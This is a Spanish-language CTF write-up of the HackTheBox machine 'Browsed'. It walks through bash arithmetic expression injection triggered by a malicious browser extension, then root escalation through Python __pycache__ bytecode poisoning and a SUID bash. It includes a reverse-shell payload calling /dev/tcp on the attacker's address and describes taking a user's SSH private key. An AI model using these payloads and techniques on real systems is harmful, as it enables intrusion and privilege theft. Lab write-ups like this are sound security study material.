githubEditar

HackTheBox - Browsed

Writeup de la máquina Browsed de HackTheBox

  • Dificultad medium

  • Tiempo aprox. 8h

  • Datos Iniciales: 10.129.5.12

Nmap Scan

Tras realizar un escaneo nmap completo, se encuentran los siguientes puertos abiertos:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 02:c8:a4:ba:c5:ed:0b:13:ef:b7:e7:d7:ef:a2:9d:92 (ECDSA)
|_  256 53:ea:be:c7:07:05:9d:aa:9f:44:f8:bf:32:ed:5c:9a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Browsed
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Puerto 80

Enumeración

Al entrar, nos encontramos una página que ofrece varias extensiones de navegador.

Aunque no se nos haya redirigido a ningún vhost en función del dominio, como es normal en algunas máquinas, dado que arriba a la izquierda aparece el dominio browsed.htb lo añado a /etc/hosts y analizo subdominios, aunque pasado un rato no se encuentra nada:

Buscamos directorios:

Como no parece haber mucho relevante, antes de ponernos a mirar dentro de assets, miro a qué podemos acceder desde la página principal, y qué podemos deducir de ello:

  • No hay robots.txt

  • El botón Upload Extension apunta a upload.php

    • Podríamos intentar subir un php malicioso que nos dé un reverse shell

    • Podríamos buscar más archivos php en el directorio

  • En browsed.htb/samples vemos 3 extensiones que podemos descargar, cuyos botones de descarga apuntan a archivos .zip, quizás valga la pena buscar más zips.

Tras otro análisis con gobuster, no encontramos nada nuevo, así que nos centramos en la posibilidad de subir archivos .zip con extensiones de navegador.

Subida de archivos .zip

Si probamos, antes de intentar crear una extensión maliciosa, a descargar y subir uno de los .zip que ofrecen, p.ej el de fontify.zip:

Si miramos detalladamente el log del error, encontraremos datos relevantes:

Entre todo este texto, destacan:

  • http://localhost/images/pic01.jpg: Posiblemente haya un servidor web en escucha en localhost en el servidor

  • http://browsedinternals.htb/assets/css/theme-gitea-auto.css?v=1.24.5: Un dominio nuevo, browsedinternals.htb, que posiblemente esté usando Gitea.

  • Añadimos browsedinternals.htb a /etc/hosts

BrowsedInternals - Gitea

Entramos y, como esperábamos, encontramos una instancia de Gitea. Si vamos a Explore, encontramos un repo MarkdownPreview de larry.

  • Apuntamos posible username del SO: larry

  • Entramos a su repo.

En el repo, encontramos varios archivos:

Hay 2 commits, pero no cambian en nada relevante, así que nos clonamos el actual y miramos qué hay.

Vamos mirando los archivos de uno en uno.

backups, log, files

En backups vemos dos archivos .tar.gz:

Si los descomprimimos veremos que no hay nada, ni archivos ocultos que puedan servir de algo.

En files hay un archivo cf23093c09e7478382e716e31d06b3ef.html que contiene:

hashid detecta el nombre del archivo (sin el .html) como un posible hash (MD2,MD5,MD4...), posiblemente no sea nada. CrackStation no consigue crackearlo, si es que significa algo.

En log hay un archivo routine.log y uno routing.log.gz, ninguno de los dos contiene nada relevate.

routines.sh

Encontramos varias variables de entorno que confirman la existencia de un usuario larry:

Según el propio larry, el programa, al ejecutarlo, se encarga de una de las siguientes en función de $1:

  • Limpiar archivos temporales en /home/larry/markdownPreview/tmp

  • Hacer un backup de los datos de /home/larry/markdownPreview/data en un .tar.gz ubicado en /home/larry/markdownPreview/backups

  • Rotar los logs de /home/larry/markdownPreview/tmp

  • Guardar la info del sistema en /home/larry/markdownPreview/backups

  • Si el parámetro $1 no está entre 0 y 3 (o no es un número), guarda $1 en $ROUTINE_LOG

La elección se hace en función de la siguiente comparación:

Hay un punto importante, si el primer valor ($1) pasado a routines.sh no es 0, 1, 2 o 3 (else...), el script hará lo siguiente:

Sin ningún tipo de filtro, routines.sh meterá a /home/larry/markdownPreview/log/routine.log nuestro argumento, así que, si conseguimos una forma de pasarle un argumento arbitrario, podríamos conseguir crear un archivo potencialmente peligroso.

app.py

Aplicación de Flask con varios endpoints, entre ellos, el más relevante es /routines/<rid>:

El endpoint toma <rid> y se lo pasa a routines.sh como argumento, aquí volvemos a la función anterior. El $1 de routines.sh es el <rid> que nosotros elegimos, así que tenemos cierto control sobre /home/larry/markdownPreview/log/routine.log.

Al final del archivo vemos:

Podemos estar casi seguros de que el servicio en localhost:5000 que hemos visto en los logs corresponde a este app.py.

Intento de exploit y explicación

Una vez que conocemos cómo funciona la app de localhost, planeo lo siguiente:

  • Las extensiones que sube el usuario se ejecutan en el navegador del servidor

  • Podemos hacer que una extensión visite http://127.0.0.1:5000/routines/<X>, lo que hará que <X> se añada a home/larry/markdownPreview/log/routine.log

  • Si de algún modo conseguimos que un html de una extensión acceda a ese archivo, podríamos llegar a conseguir un XSS. Problema: no sirve de mucho, y tampoco podemos hacerlo, porque incluso subiendo un .zip con un html falso que sea un soft link y apunte a /.../routine.log, al descomprimirlo la página parece limpiar el link, o al menos no vemos su output en el log.

Arithmetic Expression Injection - Explicación

Pasado un rato largo buscando soluciones, miro qué más puede llegar a ser vulnerable en el script, y tras un rato, encuentro que es posible realizar una Arithmetic Expression Injectionarrow-up-right, que consiste en lo siguiente:

En cualquiera de las comprobaciones de routines.sh se realiza esto:

Bash, por dentro, tiene un evaluador aritmético que se activa en estructuras como ((...)), $((...)), let ... u otras. P.ej ((x = 2 + 3)) se evalúa automáticamente y hace que x tenga el valor 5, también funciona con comandos. En la estructura [[...]], todo esto por defecto no pasa.

Lo que hace vulnerable al script es que, cuando se usa -eq, bash no compara strings, interpreta ambos operandos como expresiones aritméticas, aunque estén entre [[...]]. Esto hace que se pueda pasar como $1 un array cuyo índice ha de calcularse, p.ej:

  • array[$(<Comando de Reverse Shell>)] Bash detectará array[...], tendrá que evaluar el índice, verá que contiene $(...), lo procesará y ejecutará, y luego intentará usar el resultado como índice, pero el daño ya estará hecho.

Arithmetic Expression Injection - Explotación

Ahora que conocemos la vulnerabilidad de la app, necesitamos crear una extensión de navegador que acceda a http://localhost:5000/routines/arr[$(bash -i >& /dev/tcp/10.10.14.12/4444 0>&1)] mientras escuchamos en el puerto.

Hacemos una extensión simple con 3 archivos, sacando la base de Internet y modificándola:

manifest.json tiene la siguiente forma:

content.js y background.js tienen exactamente el mismo código (por si falla uno):

Los comprimimos y subimos el zip mientras escuchamos en el puerto 4444:

Privesc

Lo primero que vemos en el directorio .ssh de larry al entrar es una clave pivada id_ed25519, la descargamos para poder acceder por ssh más adelante.

Ejecutamos sudo -l y vemos que larry puede ejecutar como root lo siguiente:

Antes de ir a por el script, ejecutamos LinPEAS. Destacan varias cosas:

  • Sudo version 1.9.15p5: CVE-2025-32463 - Chroot-to-Root. Tras probar con un exploit, no parece funcionar (necesitamos credenciales de larryy)

  • Puertos locales abiertos:

  • Checking if PAM loads pam_cap.so:

    • /etc/pam.d/common-auth:25:auth optional pam_cap.so

Tras mirar en los puertos de MySQL sin éxito, al no tener contraseña, vamos a por el script de python que podemos ejecutar con sudo.

Se trata de un programa encargado de:

  • Cambiar la versión de una extensión -> No vulnerable

  • Comprimir en un .zip archivos de un directorio fuente -> No vulnerable

  • Limpiar archivos temporales -> No vulnerable

Como no veo nada vulnerable, miramos el directorio del script por si hay algo relevante. No podemos hacer Library Hijacking porque no tenemos privilegios de escritura en el directorio del script:

Pero si nos fijamos, dentro del directorio extensiontool tenemos permisos de escritura para la carpeta __pycache__:

Tras buscar qué nos permite este permiso de escritura, veo que es posible realizar un ataque de python cache poisoning. Sabemos que la versión de python usada es la 3.12 (aparece en el shebang del script), así que primero creamos un exploit y lo compilamos a bytecode de python:

Miramos qué librerías usa el programa extension_tool.py:

Aquí destaca extension_utils, que proviene exactamente del archivo extension_utils.py del mismo directorio, una librería custom. Cuando python inicie el programa, hará lo siguiente:

  1. Al llegar a from extension_utils..., buscará extension_utils.py en el mismo directorio (por el orden de carga por defecto de python).

  2. Mirará si existe una versión precompilada en __pycache__

  3. Si el .pyc existe, comparará la cabecera del .pyc con los metadatos del .py real.

  4. Si coinciden, ejecutará el .pyc directamente.

Así que primero compilamos un .pyc original para tener una cabecera "buena":

Ahora usamos el siguiente script sacado de aquíarrow-up-right que inyecta el bytecode malicioso en el de la librería, preservando las cabeceras:

Y lo ejecutamos:

Ahora ejecutamos el programa con sudo:

Miramos /tmp:

Ejecutamos nuestro nuevo binario de bash con -p

Desde hace años, el binario de bash está programado para detectar automáticamente si se está ejecutando con el bit SUID activado por un usuario distinto al dueño. Al ver que usuario y dueño no son el mismo, asume que es un riesgo de seguridad y rebaja sus privilegios. -p le hace no rebajarlos.

Y tenemos root.

Última actualización